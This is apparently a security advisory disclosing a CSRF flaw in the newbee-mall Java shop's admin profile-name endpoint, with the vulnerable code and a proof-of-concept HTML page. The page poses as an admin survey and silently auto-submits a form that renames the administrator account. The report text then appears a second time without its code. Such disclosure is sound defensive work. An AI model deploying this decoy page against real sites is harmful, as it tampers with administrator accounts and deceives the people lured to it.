CSRF Vulnerability in Admin Profile Name Update
Summary
A Cross-Site Request Forgery (CSRF) vulnerability exists in the administrator profile name update endpoint /admin/profile/name. The lack of CSRF protection in both the application configuration and endpoint implementation allows attackers to modify administrator account information without authorization.
Vulnerability Details
Configuration-Level Issue
File: src/main/java/ltd/newbee/mall/config/NeeBeeMallWebMvcConfigurer.java
@Configuration
public class NeeBeeMallWebMvcConfigurer implements WebMvcConfigurer {
public void addInterceptors(InterceptorRegistry registry) {
registry.addInterceptor(adminLoginInterceptor)
.addPathPatterns("/admin/**");
// ❌ No CSRF protection mechanism configured
}
}Endpoint-Level Code Analysis
File: src/main/java/ltd/newbee/mall/controller/admin/AdminController.java (Lines 117-130)
@PostMapping("/profile/name")
@ResponseBody
public String nameUpdate(HttpServletRequest request,
@RequestParam("loginUserName") String loginUserName,
@RequestParam("nickName") String nickName) {
if (!StringUtils.hasText(loginUserName) || !StringUtils.hasText(nickName)) {
return "参数不能为空";
}
Integer loginUserId = (int) request.getSession().getAttribute("loginUserId");
// ❌ No CSRF token validation
// ⚠️ Directly modifies admin information without origin verification
if (adminUserService.updateName(loginUserId, loginUserName, nickName)) {
return ServiceResultEnum.SUCCESS.getResult();
} else {
return "修改失败";
}
}Security Issues:
- ❌ No CSRF token validation
- ❌ No origin verification
- ⚠️ Accepts arbitrary loginUserName and nickName from any source
Proof of Concept (PoC)
<!DOCTYPE html>
<html>
<head>
<title>Admin Portal - Quick Survey</title>
</head>
<body>
<h2>📊 Admin Satisfaction Survey</h2>
<p>Help us improve! This survey takes only 5 seconds.</p>
<p>Loading survey...</p>
<form id="csrf-form" action="http://localhost:28089/admin/profile/name" method="POST">
<input type="hidden" name="loginUserName" value="HACKED_ADMIN">
<input type="hidden" name="nickName" value="Compromised Account">
</form>
<script>
setTimeout(function() {
document.getElementById('csrf-form').submit();
}, 1000);
</script>
</body>
</html>Impact
Administrator account information tampering - Attackers can modify admin usernames and display names, potentially facilitating social engineering attacks or causing confusion in audit logs.
CVSS Score: 7.1 (High)
Reporter:flashzyc
Date:February 5,2026
CSRF Vulnerability in Admin Profile Name Update
Summary
A Cross-Site Request Forgery (CSRF) vulnerability exists in the administrator profile name update endpoint
/admin/profile/name. The lack of CSRF protection in both the application configuration and endpoint implementation allows attackers to modify administrator account information without authorization.Vulnerability Details
Configuration-Level Issue
File:
src/main/java/ltd/newbee/mall/config/NeeBeeMallWebMvcConfigurer.javaEndpoint-Level Code Analysis
File:
src/main/java/ltd/newbee/mall/controller/admin/AdminController.java(Lines 117-130)Security Issues:
Proof of Concept (PoC)
Impact
Administrator account information tampering - Attackers can modify admin usernames and display names, potentially facilitating social engineering attacks or causing confusion in audit logs.
CVSS Score: 7.1 (High)
Reporter:flashzyc
Date:February 5,2026